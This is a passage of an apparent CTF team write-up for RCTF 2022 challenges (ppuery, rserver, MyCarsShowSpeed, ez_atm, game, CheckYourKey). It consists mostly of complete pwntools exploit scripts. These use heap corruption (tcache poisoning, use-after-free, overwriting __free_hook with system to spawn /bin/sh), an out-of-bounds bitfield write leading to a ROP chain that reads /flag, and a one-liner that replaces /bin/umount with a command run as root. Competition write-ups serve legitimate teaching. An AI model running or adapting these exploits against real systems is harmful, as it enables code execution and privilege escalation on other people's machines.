SQLite::Column::getBytes(a2); // first uses getBytes Text = SQLite::Column::getText(a2, ""); // then uses getText std::ostream::write(this, Text, Bytes); return this; } ``` - `getText` can do internal conversions (e.g. from UTF16 to UTF8) which can cause the number of bytes to change. - In the end, I just played around with different encodings and the following caused me to get an uninitialized malloc chunk written to stdout: ```py def create_leak(): sizes = list(range(0x20, 0x150, 0x10)) sizes += [0x40, 0x100, 0x400, 0x100, 0x400] sizes = [0x100] vals = [] for size in sizes: val = b"B"*0x1 + b"\0"*(size-1) vals.append(f"(X'{val.hex()}')") create_db_sql(f""" PRAGMA encoding = "UTF-16le"; CREATE TABLE test ( id integer primary key autoincrement, content string ); INSERT INTO test (content) VALUES {', '.join(vals)} """, "./leaker.db") ``` - Again, the issues were unexploitable anyways - Started to scour sqlite commit logs to find PoCs for other bugs - Found https://sqlite.org/src/info/003e4eee6b53a4de and managed to write a crashing PoC - realized that this sounds very hard to exploit - asked for hint on discord (and surprisingly received one) - asked before whether intention was to exploit c++ wrapper and / or old sqlite bugs itself. Answer seemed to imply a combination of both. - Turns out (thanks to the new hint), it was neither! Totally did not waste like 12+ hours... - Try diffing / FLIRT again, still nothing - Try using the exact same compiler, not expecting any changes - Suddenly, everything turned blue: - ![](https://i.imgur.com/4v8JgRy.png) - Only thing not recognized where the four custom functions added: - malloc, edit, get, free - from here it was a trivial heap exploit, since no checks on free'd chunk, see exploit script: ```py #!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host 35.233.147.96 --port 42531 ./ppuery from pwn import * import builder # Set up pwntools for the correct architecture exe = context.binary = ELF('./ppuery') if args.GDB: exe = context.binary = ELF('./ppuery.debug') libc = ELF('./libc-2.27.so') context.terminal = ["tmux", "split", "-h"] # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or '190.92.233.46' port = int(args.PORT or 10000) def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' # tbreak main # b *0x5555555af92a # b *(resetAccumulator+122) # set $expr = (void*)0x5555558a1600 # b free if $rdi == 0x5555558a6a50 # b free if $rdi == 0x55555587d9a0 continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled # FORTIFY: Enabled io = start() IDX = 0 def do_menu(num: int): data = str(num).encode() io.sendlineafter(b"Choice: ", data) def create_note(name): global IDX do_menu(1) io.sendlineafter(b"Name: ", name) curr = IDX IDX += 1 return curr def patch_note(idx: int, conts: bytes): do_menu(3) io.sendlineafter(b"Index: ", str(idx).encode()) io.sendlineafter(b"Size: ", str(len(conts)).encode()) io.sendafter(b"Content: ", conts) def show_note(idx: int): do_menu(2) io.sendlineafter(b"Index: ", str(idx).encode()) def upload(name, filename): global IDX if isinstance(filename, str): conts = read(filename) else: conts = filename idx = create_note(name) patch_note(idx, conts) return idx CRASHING_POC = "WITH t0 AS ( SELECT 1 GROUP BY 1 HAVING ( WITH t0 AS ( SELECT count(DISTINCT c0 IN t1) ORDER BY 1 ), t2 AS ( SELECT 1 FROM t1 WHERE X'4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141' IN t1 ) SELECT c0 FROM t0, t2 ) ) DELETE FROM t0 WHERE 1 IN t0;" CRASHING_POC = """WITH t1 AS ( SELECT * FROM ( SELECT 1 ) UNION ALL VALUES ( 1 ), ( 1 ) ) SELECT (SELECT ( SELECT sum(DISTINCT c0 IN t2) ) FROM t1 ORDER BY 1 ) FROM t0 GROUP BY 0xffffffff;""" WRAPPER = f"""CREATE TRIGGER lmao BEFORE INSERT ON t0 BEGIN {CRASHING_POC}; END;""".encode() TEST_START = b'CREATE TABLE test' TEST_END = unhex("23030617") def patch_db(new_sql: bytes): conts = read("./poc.db") start_idx = conts.index(TEST_START) end_idx = conts.index(TEST_END, start_idx) old_len = end_idx - start_idx log.info("len: 0x%x vs. 0x%x (diff: 0x%x)", len(new_sql), old_len, old_len - len(new_sql)) assert len(new_sql) <= old_len new_sql = new_sql.ljust(old_len, b"\0") patched = conts[:start_idx] + new_sql + conts[end_idx:] write("./poc_patched.db", patched) return patched builder.create_loc() builder.create_leaker() builder.create_tester() builder.create_simple() builder.create_leak() # shellcode = asm(shellcraft.sh()) # payload = fit({ # 32: 0xdeadbeef, # 'iaaa': [1, 2, 'Hello', 3] # }, length=128) # io.send(payload) # flag = io.recv(...) # log.success(flag) # poc_idx = upload(b"poc", "./poc.db") MALLOC = "sm" EDIT = "se" GET = "ss" FREE = "sd" TMP_NOTE = b"tmp" TMP_IDX = create_note(TMP_NOTE) import secrets def do_func(name, *args): global TMP_IDX argss = ", ".join(args) sql = f"""CREATE VIEW test AS SELECT ({name}({argss})); """ builder.create_db_sql(sql, "./tmp.db") conts = read("./tmp.db") patch_note(TMP_IDX, conts) show_note(TMP_IDX) def do_malloc(idx, size): do_func(MALLOC, str(idx), str(size)) def do_free(idx): do_func(FREE, str(idx)) def do_edit(idx, off, val): do_func(EDIT, str(idx), str(off), str(val)) def do_get(idx): do_func(GET, str(idx)) io.recvuntil(b"Content:") conts = io.recvuntil(b"\n1. Create note", drop=True) return conts TARGET_SIZE = 0x130 GUARD_SIZE = 0x20 do_malloc(0, TARGET_SIZE) do_malloc(1, TARGET_SIZE) do_malloc(2, GUARD_SIZE) do_free(0) do_free(1) leaked = do_get(1) heap_addr = u64(leaked[:8]) log.info("heap_addr = 0x%x", heap_addr) heap_base = heap_addr - 0x37f30 log.success("heap @ 0x%x", heap_base) sec_addr = heap_base + (0x5555558a19d0-0x00555555869000) first_addr = heap_base + (0x5555558a0f30-0x00555555869000) unsorted_addr = heap_base + (0x55555587e120-0x00555555869000) do_edit(1, 0, unsorted_addr-0x40) log.info("Ok, we should now have overlap with an unsorted chunk -> can leak libc!") do_malloc(3, TARGET_SIZE) # get rid of first one do_malloc(4, TARGET_SIZE) # should have overlap here leaked = do_get(4) libc_addr = u64(leaked[0x48:0x50]) log.info("libc_addr = 0x%x", libc_addr) libc.address = libc_base = libc_addr - 0x3ec410 log.success("libc @ 0x%x", libc_base) log.info("Now we can overwrite free_hook") freehook_addr = libc.symbols["__free_hook"] log.info("freehoook @ 0x%x", freehook_addr) TARGET_SIZE = 0x140 system_addr = libc.symbols["system"] do_malloc(5, TARGET_SIZE) do_malloc(6, TARGET_SIZE) do_malloc(7, GUARD_SIZE) do_free(5) do_free(6) do_edit(6, 0, freehook_addr) do_malloc(8, TARGET_SIZE) do_malloc(9, TARGET_SIZE) # this will be at freehook do_edit(9, 0, system_addr) log.info("Free hook was overwritten!") do_edit(8, 0, u64(b"/bin/sh\0")) log.info("Getting shell!") do_free(8) # log.info("Doing leak!") # leak_idx = upload(b"lk", "./leaker.db") # pause() # show_note(leak_idx) # log.info("Leaked:") # io.recvuntil(b"Content:1, ") # conts = io.recvuntil(b"\n1. Create note", drop=True) # print(hexdump(conts)) # heap_addr = u64(conts[0xb8:0xb8+8]) # log.info("heap_addr @ 0x%x", heap_addr) # heap_base = heap_addr - 0x148d8 # log.info("heap @ 0x%x", heap_base) # log.info("Building pwn.db") # fake_list_addr = heap_base + (0x5555558a6a58-0x00555555869000) # address of first sprayed! # fake_expr = flat({ # 0x20: p64(fake_list_addr) # }, length=0x48) # fake_expr_addr = heap_base + (0x55555587d9a8-0x00555555869000) # fake_item = flat({ # 0x0: p64(fake_expr_addr), # }, length=24) # fake_list = flat({ # 0x0: p32(1), # 0x8: fake_item # }, length=0x48) # builder.create_db([fake_list, fake_expr], "./pwn.db") # pwn_idx = upload(b"pwn", "./pwn.db") # show_note(pwn_idx) # if args.LOCAL: # os.system("rm ./poc") # poc_idx = upload(b"poc", "./leaker.db") # pause() # show_note(poc_idx) # idx2 = upload(b"aaa", cyclic(1024)) io.interactive() ``` ```py from pwn import * import os import tempfile context.arch = "amd64" TEMPLATE = """ CREATE TABLE t0(c0); CREATE TABLE t1(c0); CREATE TABLE t2(c0); CREATE VIEW test AS WITH t1 AS ( SELECT * FROM ( SELECT 1 ) UNION ALL VALUES ( 1 ), ( 1 ) ) SELECT ( SELECT (SELECT (SELECT sum(DISTINCT c0 IN t2)) FROM t1 ORDER BY 1) UNION SELECT 1 from t2 WHERE {allocs} ) FROM t0 GROUP BY 0xffffffff; """ ALLOC_TMPL = """ X'{data}' IN t2 """ def conv_chunks(chunks): allocs = [] for chunk in chunks: chunk: bytes allocs.append(ALLOC_TMPL.format(data=chunk.hex()).strip()) return " AND ".join(allocs) def templ_sql(chunks, extras=[b""], adds=[b""]): return TEMPLATE.format(allocs=conv_chunks(chunks)) def create_db_sql(sql, filename): with tempfile.NamedTemporaryFile("w+t", suffix=".sql") as sql_f: sql_f.write(sql) sql_f.flush() log.info("Temporarily stored at %s", sql_f.name) if os.path.exists(filename): os.unlink(filename) os.system(f"sqlite3 {filename} < {sql_f.name}") # input() def create_db(chunks, filename, extras=[b""], adds=[b""]): sql = templ_sql(chunks, extras, adds) create_db_sql(sql, filename) def fake_expr(list): return flat({ 0x20: p64(list) }, length=0x48) def create_leaker(): chunks = [ b"A"*0x48, # pop first in tcache fake_expr(0x0)# this will overwrite expr! ] create_db(chunks, "./leak.db") def create_loc(): chunks = [] for i in range(5): chunks.append((bytes([0x41+i])*0x48)) create_db(chunks, "./loc.db") def create_simple(): create_db([b"A"], "./simple.db") def create_tester(): create_db( [b"A"*0x48], "./tester.db", [b"B"*0x48], [b"C"*0x48] ) def create_leak(): sizes = list(range(0x20, 0x150, 0x10)) sizes += [0x40, 0x100, 0x400, 0x100, 0x400] sizes = [0x100] vals = [] for size in sizes: val = b"B"*0x1 + b"\0"*(size-1) vals.append(f"(X'{val.hex()}')") create_db_sql(f""" PRAGMA encoding = "UTF-16le"; CREATE TABLE test ( id integer primary key autoincrement, content string ); INSERT INTO test (content) VALUES {', '.join(vals)} """, "./leaker.db") if __name__ == "__main__": create_leaker() create_loc() create_simple() ``` ### rserver First we see is that it's a basic webserver and we can login, query, show history and logout - if we can guess 8 random bytes. There's a bitfield which keeps track of the logged-in ips. The check if the ip address is in the bitfield only checks for the upper end though, so we can just write below that range, allowing us to overwrite data if we can set/clear bits we want. The struct in the bss contains along the bitfield of logged in ips, pointers to usernames (118 of them), a bunch of empty space (probably due to actually having space for more than 118 username pointers, but only 118 should ever be used). It also contains the amount of addresses and the 8 random bytes. We can log in however we want, which unsets bits, which means we can just log in to overwrite the random bytes to all nulls, which will allow us to log out as well - and set bits (Which inside the bss is more useful than clearing them). We also could've used the query function to figure out the random bytes instead - but I guess it will end up the same. The query and history methods require passwords which are calculated in a weird way, but copying all the sboxes for the nibbles it is easy to reverse the encryption and get the password `RCTF2022` and `1L0V3ctf`. Now with the ability to write anything we want, we set the first username pointer to be an address we want to read from, then used history to print all the usernames, and then taking the first 8 bytes will give us the value at the desired address. Which allowed us to leak the stack (using libc environ, getting libc's base address from the got, and the pie base from the query function using the convenient pointer which points to itself in the data section). From the stack we can leak the canary. Next we set up some pointers in the struct (In the unused area) which point to further into the unused area, where we set up (surprise tools that will help us later) values. The pointers need to be at the correct offsets in the struct, such that when copying from those addresses into the 1024-byte big send buffer we overflow the return address and manage to rop. Then we fill the 118 values to not accidentally read from 0 and segfault, then set the number of users to a higher value than 118 and then query the history. This will then give us control over RIP as we overflow the sendbuffer and can rop. Since setting up these pointers and values is relatively slow we want this to be small. Since we have a seccomp filter we can't just execute sh and win, but we actually have to rop our way to read the file. I ropped a read to the stack pointer, to have a longer rop read in, but then in the second stage I realized there's a function to send all the data from a fd, so we just have to call open and then jump there (it will crash quickly if we have a wrong rbp, but it will keep running if we set it correctly). And it turns out that this ropchain is actually shorter than the read ropchain, but well, it's already there. I also had quite a bit of trouble to run it against the server as there was quite a bit of delay and while the exploit worked locally reliably in under 10 seconds it timed out every single time. So I first had to optimize a bit (not reading the full 64 bits to leak stuff for example, only set bits, don't clear them, as we're in the bss and everything's 0 anyway, ...), and even after that it only barely managed to work, but anyway, here's the full script: ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host 139.9.242.36 --port 7788 ./rserver from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF('./rserver_patched') # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or '139.9.242.36' port = int(args.PORT or 7788) def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, aslr=False, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, aslr=False, *a, **kw) def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' break *0x2533+0x0000555555554000 continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled io = start() bitfield_addr = 0x92C0 + 0xa98 rand_bytes_addr = 0x92C0 + 0x10 addr_addr = 0x9008 write_addr = 0x8EF8 def num_to_ip(ip): address = (256**3 * 10 + 256**2 * 12 + 256 * 31) + ip octets = [(address >> (i*8))&0xff for i in range(3,-1,-1)] return f"{octets[0]}.{octets[1]}.{octets[2]}.{octets[3]}" def history(extra=b""): io.send(b"GET /history.html?PassWord=RCTF2022\r\nHost: 10.12.31.1\r\n\r\n"+extra) io.recvuntil(b"History") io.recvuntil(b"</h1>\n") return io.recvn(8) def query(ip): ip = num_to_ip(ip) io.send(f"GET /query.html?PassWord=1L0V3ctf\r\nHost: {ip}\r\n\r\n".encode()) io.recvuntil(b"Query Success") io.recvuntil(b"<h1>") return b"Not logged in" in io.recvuntil(b"</h1>") login_counter = 0 def login(ip, username): global login_counter ip = num_to_ip(ip) io.send(f"GET /login.html?UserName={username}\r\nHost: {ip}\r\n\r\n".encode()) io.recvuntil(b"HTTP") if b"200" in io.recvuntil(b"\r\n"): login_counter += 1 def logout(ip): ip = num_to_ip(ip) io.send(f"POST /logout.html\r\nHost: {ip}\r\nContent-Length: 8\r\n\r\n\x00\x00\x00\x00\x00\x00\x00\x00".encode()) io.recvuntil(b"HTTP") def r64(bit_offset): address = 0 with log.progress("Leaking") as p: for i in range(12,48): p.status(f"Leaking bit {i}/48") address |= query(bit_offset + i) << i return address libc = ELF("./libc.so.6") print(libc.plt) bit_offset = (addr_addr - bitfield_addr) * 8 exe.address = r64(bit_offset) - addr_addr + 8 bit_offset = (write_addr - bitfield_addr) * 8 libc.address = r64(bit_offset) - (libc.sym.write&~0xfff) info("Leaked ASLR: 0x%x, libc: 0x%x", exe.address, libc.address) for i in range(64): login((rand_bytes_addr - bitfield_addr) * 8 + i, "a") io.recvuntil(b"\r\n") num_addresses_addr = 0x92c0 + 0x8 logout((num_addresses_addr - bitfield_addr) * 8 + 30) def abs_r64(target_ptr): for i in range(48): dst_offset = (0x18 - 0xa98) * 8 + i if target_ptr & (1 << i): logout(dst_offset) else: login(dst_offset, "a") leak = u64(history()) return leak def w64(num, offset): for i in range(64): dst_offset = (offset + 0x18 - 0xa98) * 8 + i if num & (1 << i): logout(dst_offset) else: login(dst_offset, "aaaaaaaa") def w64_1(num, offset): for i in range(64): dst_offset = (offset + 0x18 - 0xa98) * 8 + i if num & (1 << i): logout(dst_offset) def w32(num, offset): for i in range(32): dst_offset = (offset + 0x18 - 0xa98) * 8 + i if num & (1 << i): logout(dst_offset) else: login(dst_offset, "aaaaaaaa") def w32_i(num, offset): for i in range(32): dst_offset = (offset + 0x18 - 0xa98) * 8 + i if num & (1 << i): logout(dst_offset) stack_addr = abs_r64(libc.sym.environ) stack_addr += 0x00007fffffffcc40 - 0x00007fffffffda58 + 0xcc8 info("Leaked stack: 0x%x", stack_addr) canary = abs_r64(stack_addr) info("Leaked stack canary: 0x%x", canary) w64_1(u64(b"/flag\x00tx"), 8*198) w64_1(canary, 8*200) w64_1(stack_addr + 8, 8*201) w64_1(libc.address + 0x001bb317, 8*202) # pop rsi w64_1(stack_addr - 0x1618, 8*203) # rsp w64_1(libc.address + 0x001bc021, 8*204) # pop rdi #w64_1(0, 8*205) # stdin w64_1(libc.sym.read, 8*206) i = 0 while login_counter < 110: login(i, "a") i += 1 w32(0, -12) with log.progress("setting up ptrs") as p: for i in range(login_counter,122): p.status(f"{i} / 122") w64_1(exe.address+8, 8 * i) with log.progress("setting up ptrs") as p: for i in range(20): p.status(f"{i} / 20") w64_1(exe.address + 0x92c0 + 0x18 + 8 * (200 + i), (122 + i)*8) w32_i(121+15, -12) history() POP_RDI = libc.address + 0x001bc021 POP_RSI = libc.address + 0x001bb317 POP_RDX_RBX = libc.address + 0x00175548 payload = b"" payload += p64(POP_RDI) payload += p64(exe.address + 0x92c0 + 0x18 + 8 * 198) payload += p64(POP_RSI) payload += p64(0) payload += p64(libc.sym.open) payload += p64(exe.address + 0x2533) payload += p64(libc.address + 0x0000000000029cd6) # ret payload += p64(libc.sym.exit) io.send(payload) io.interactive() ``` And the flag: `RCTF{4c7663ca7d73d58fe2f10b6fbeef27f1}` ### MyCarsShowSpeed TL;DR: - Cheat detection (when buying flag without actually winning) does not check if a Car is in repair - Can get UAF by putting one car in repair, then triggering cheat detection - How to cheat though? - Can exit race early without damaging car - 1/10 chance of increasing car's performance - Sell value of car is `car->cost / 2 + car->performance * 2` - If performance is high enough, we can sell car for profit! - Need to keep selling and rebuying though, since `performance` is only `uint8`. - So exploit is clear: - Cheat many times to get enough money to buy flag - Put one car in repair (must be the only car) - Trigger cheat detection - Car in repair is now free'd - Retrieve car from repair - Alloc the same chunk as "another" car. - Create + Sell another car to have something in tcache - Sell the second instance of the UAF'd car to put it into tcache - First instance can be used to leak heap pointer - Because of tcache, car has fixed status set! (it overlaps with the key field of a tcache entry) - Fix it and retrieve it to clear that one - This also changes the key field and hence allows you to free the car again. - Sell the first instance of the UAF car -> chunk is now twice in tcache (double free) - Realloc the chunk by buying a new car, this allows controlling the next field of the second instance (still in tcache) by setting the name appropriately. - Set the next pointer to point to the address of the number of times we won (in the game struct on the heap) - allocate twice to be able to overwrite it to correct value - We can now buy flag Exploit script: ```py #!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host 190.92.239.230 --port 8888 SpeedGame from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF('./SpeedGame') context.terminal = ["tmux", "split", "-h"] # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or '49.0.206.171' #'190.92.239.230' port = int(args.PORT or 9999)#8888) if args.SEC: host = '190.92.239.230' port = 8888 def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' # tbreak main # continue set $game = (game_t*)0x55555555e2a0 '''.format(**locals()) def do_prompt(data: bytes): io.sendlineafter(b"> ", data) def do_menu(num: int): data = str(num).encode() do_prompt(data) def do_store(inside_store): do_menu(3) inside_store() do_menu(5) def buy_goods(name, car=None): def buy_goods_s(): do_menu(1) do_prompt(name) if car is not None: do_prompt(car) do_store(buy_goods_s) def sell_goods(name): def sell_goods_s(): do_menu(2) do_prompt(name) do_store(sell_goods_s) def read_money(): do_menu(2) io.recvuntil(b"Money: ") mon = io.recvuntil(b"Cars:", drop=True) money = int(mon) return money def fix_car(name): def fix_car_s(): do_menu(3) do_prompt(name) do_store(fix_car_s) def fetch_car(name): def fetch_car_s(): do_menu(4) do_prompt(name) do_store(fetch_car_s) CAR_NAME = b"A" CAR_NAME_SEC = b"B" TARGET_CAR = b"NormalCar" FLAG_PRICE = 10000 FLAG_PRICE += 200 # some extra just in case if args.LOCAL: FLAG_PRICE = 1000+100 NUM_RACE = (FLAG_PRICE+100)*10//2 io = start() # preallocate second car buy_goods(TARGET_CAR, CAR_NAME_SEC) buy_goods(TARGET_CAR, CAR_NAME) sell_goods(CAR_NAME_SEC) sell_goods(CAR_NAME) def steal_money(): # not too much, in case we overflow num_race = 200*10 buy_goods(TARGET_CAR, CAR_NAME) with log.progress("It is called motor racing") as p: send_buf = (b" "*7)+(b"1")+b"q" for i in range(num_race): p.status("Current race %d/%d", i+1, num_race) # manually prepared send buffer # io.sendafter(b"> ", send_buf) io.send(send_buf) # do_menu(1) # # io.send(b"q") # immediately quit # time.sleep(0.005) # io.send(b"q") # io.recvuntil(b">") # io.unrecv(b">") io.sendline(b"2") io.recvuntil(b"Money:") sell_goods(CAR_NAME) curr_mon = read_money() with log.progress("Cheating...") as p: while curr_mon < FLAG_PRICE: steal_money() curr_mon = read_money() p.status("Current progress: %d/%d", curr_mon, FLAG_PRICE) log.info("Have enough money for the UAF now!") context.log_level = "debug" buy_goods(TARGET_CAR, CAR_NAME) # pause() # io.interactive() fix_car(CAR_NAME) buy_goods(TARGET_CAR, CAR_NAME_SEC) buy_goods(b"flag") log.info("triggered cheat detection, UAF now!") # pause() log.info("Retrieving UAF'd car") fetch_car(b"") # empty name, since ->next is NULL # io.interactive() log.info("Allocating a second car, then freeing it so ->next not empty anymore!") buy_goods(TARGET_CAR, CAR_NAME_SEC) log.info("Reallocating so we have the same chunk twice in the car list!") buy_goods(TARGET_CAR, CAR_NAME) sell_goods(CAR_NAME_SEC) log.info("freeing again, to have an easy leak!") sell_goods(CAR_NAME) log.info("Leaking heap base...") do_menu(2) io.recvuntil(b"CarName: ") leaked = io.recvuntil(b" Fuel:", drop=True) heap_leak = u64(leaked.ljust(8, b"\0")) log.info("heap leak @ 0x%x", heap_leak) # heap_base = heap_leak - 0xd000 # if (heap_leak & 0xfff) < 0x100: # log.info("small") # heap_base -= 0x2000 # elif (heap_leak & 0xfff) == 0xe10: # log.info("Large") # heap_base -= 0x1000 # else: # heap_base += 0x1000 # ??? pause() heap_base = heap_leak heap_base = heap_base & 0xfffffffffffff000 log.success("heap @ 0x%x", heap_base) game_addr = heap_base + 0x2a0 log.info("game @ 0x%x", game_addr) win_times_addr = game_addr + 0x90 log.info("First get rid of fixed status") fix_car(leaked) fetch_car(leaked) log.info("->key is now different, so we can put it in the tcache again!") sell_goods(leaked) log.info("We now have it twice in tcache!") pause() log.info("Buying another car, this time setting the tcache->next ptr") next_name = p64(win_times_addr)[:7] buy_goods(TARGET_CAR, next_name) pause() log.info("The next car, is just to remove the second time its in the cache") buy_goods(TARGET_CAR, b"lmao") pause() log.info("Buying another car, this time hopefully setting win times!") win_times_name = p32(1000) buy_goods(TARGET_CAR, win_times_name) buy_goods(b"flag") io.interactive() ``` ### ez_atm There's a stack, libc, and pie leak in the stat_query command, as it sends a fixed amount of chars back and the thing it sends is on the stack, just before the return address of main. Next there's a double free, since the pointer is not set to null, sadly the libc version (being 2.27, so pretty old) actually detected that. But no worries, there's still a UAF, as we can edit the password - which is exactly 8 bytes at offset 0 (what a coincidence...) So now we just need a heap leak and we can create an account, delete it, log in with the heap address as password (As next pointer pointing to the tcache struct). Then we edit the password, alloc again, then again and we should get a chunk at the address we just wrote, so we just set the password to the address of malloc hook (which still exists), then allocate a new chunk, set the password there to the address of system, free a prepared account with password/account number set to a command we want to execute and we should get the flag. This only worked if we had a heap leak though, so we figure we would just try values from the pie base in increments of 0x1000, this worked locally pretty fast and we get a command to execute (We also had to debug that a bit as we didn't get output/input over the normal fds and instead had to pipe it into fd 4). Since there was no login-try limit / timeout we figured this was intended and tried that on the remote, but there it seemed that the heap was a bit further away (it turned out to be over 0x100000 bytes away), which turns out to be wrong and after looking at the other commands I didn't look at - as there were no bugs according to other people - there was an easy heap leak in the query command. So, we're sorry for all the login requests (but it will happen again, as we're pretty blind) ```python libc = ELF("./libc.so.6") from ctypes import CDLL cdll = CDLL("./libc.so.6") io = start() seed = u32(io.recvn(4)) cdll.srand(seed) s = "yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy" chars = "0123456789abcdef" h = "".join([i if i in "4-" else (chars[cdll.rand()%15] if i == 'x' else chars[(cdll.rand()%15)&3|8]) for i in s]) io.send(h.encode()) ERROR = 0 SUCCESS = 1 RETRY = 2 def send_msg(op, pw=b"", accid=b"", money=0): op += b"\x00"*(16-len(op)) pw += b"\x00"*(8-len(pw)) accid += b"\x00"*(32-len(accid)) msg = op + pw + accid + p32(money) assert len(msg) == 60 io.send(msg) def recv_msg(): status = u32(io.recvn(4)) msg = io.recvn(128) return status, msg code, status = recv_msg() assert code == SUCCESS send_msg(b"stat_query", b"a"*8, b"a"*32, 2**31) code, status = recv_msg() for i in range(128 // 8): info("Stuff on the stack: 0x%x", u64(status[i*8:i*8+8])) cookie = u64(status[8:16]) exe.address = u64(status[16:24]) - 0x2130 libc.address = u64(status[24:32]) - 231 - libc.sym.__libc_start_main stack_ptr = u64(status[40:48]) info("Got all the leaks: cookie: 0x%x, aslr: 0x%x, libc: 0x%x, stack: 0x%x", cookie, exe.address, libc.address, stack_ptr) cmd = b"/bin/sh -c 'cat flag >&4'" # create victim accc send_msg(b"new_account", b"a"*8, b"a"*32, 0) recv_msg() send_msg(b"exit_account") # create acc 2 send_msg(b"new_account", b"b"*8, b"b"*32, 0) recv_msg() send_msg(b"exit_account") # create acc 3 with cmd (just temporary to have the cmd in an allocd block) send_msg(b"new_account", cmd[:8], cmd[8:], 0) recv_msg() send_msg(b"exit_account") # log into victim send_msg(b"login", b"a"*8, b"a"*32, 0) recv_msg() # free victim send_msg(b"cancellation", b"a"*8) recv_msg() if False: # Leak the address... addr_guess = exe.address + 0x10 while True: send_msg(b"login", b"a", p64(addr_guess)+b"a"*24, 0) code, status = recv_msg() if code>0:break addr_guess += 0x1000 print(hex(addr_guess)) exit(0) else: addr_guess = 0x5601cb1b2010 # log in as b send_msg(b"login", b"b"*8, b"b"*32, 0) recv_msg() # free b send_msg(b"cancellation", b"b"*8) recv_msg() # log in as a with the tcache address send_msg(b"login", b"", p64(addr_guess)+b"a"*24, 0) recv_msg() # set the next pointer to free hook send_msg(b"update_pwd", p64(libc.sym.__free_hook)) recv_msg() send_msg(b"a", b"") recv_msg() # re-alloc victim chunk, popping the next pointer send_msg(b"exit_account") send_msg(b"new_account", b"c"*8, b"c"*32, 0) recv_msg() # get b (leftover from the double-free attempt) send_msg(b"exit_account") send_msg(b"new_account", p64(libc.sym.system), b"d"*32, 0) recv_msg() send_msg(b"exit_account") # Now write system to the free hook send_msg(b"new_account", p64(libc.sym.system), b"x"*32, 0) recv_msg() send_msg(b"exit_account") # log in as our cmd account and then free => system(cmd) send_msg(b"login", cmd[:8], cmd[8:], 0) recv_msg() send_msg(b"cancellation", cmd[:8]) io.interactive() ``` ### game unintented solution, `/bin` is writable ``` rm /bin/umount echo "cat /flag" > /bin/umount chmod +x /bin/umount exit ``` When exiting, root will execute `/bin/umount`, which gives us flag `RCTF{448c1ed5da862e22be9c1b4c95c}` ### \_money See the other hackmd ## Rev ### CheckYourKey We get an apk, analyzing the main application, we see that it loads a function from a native library and then calls the ooxx function to check for the correct flag. In the native library we can find the functions easily by looking for the methods with the name "Java..." Looking at the ooxx method reveals that there are a bunch of weird calls and strcmps with strings that don't look like strings. But when looking where those strings are also accessed, we find certain datadiv_decode methods, which xor every single string with a (different) constant. After decoding the strings we see that many of the calls are just anti-debugging and anti-frida techniques, which don't bother me, as I'm statically reversing this thing. we see, that the final value is compared to `eRRqdUxQWENUbWVmbTZtZlg4bmFxQg`. We also see that there is a custom base64 alphabet (`+/EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD`) and a base58 alphabet. Sadly this turned out to be a red herring and the actual function was overwritten in JNI_OnLoad and we're actually inside sub_8965. Inside that we do have a very similar setup and we check for the value of `SVTsfWzSYGPWdYXodVbvbni6doHzSi==`, but we have an additional step before the base58 encoding, which is aes encryption with the stati key `goodlucksmartman`. Decrypting gives us the flag `flag{rtyhgf!@#$}` [CyberChef 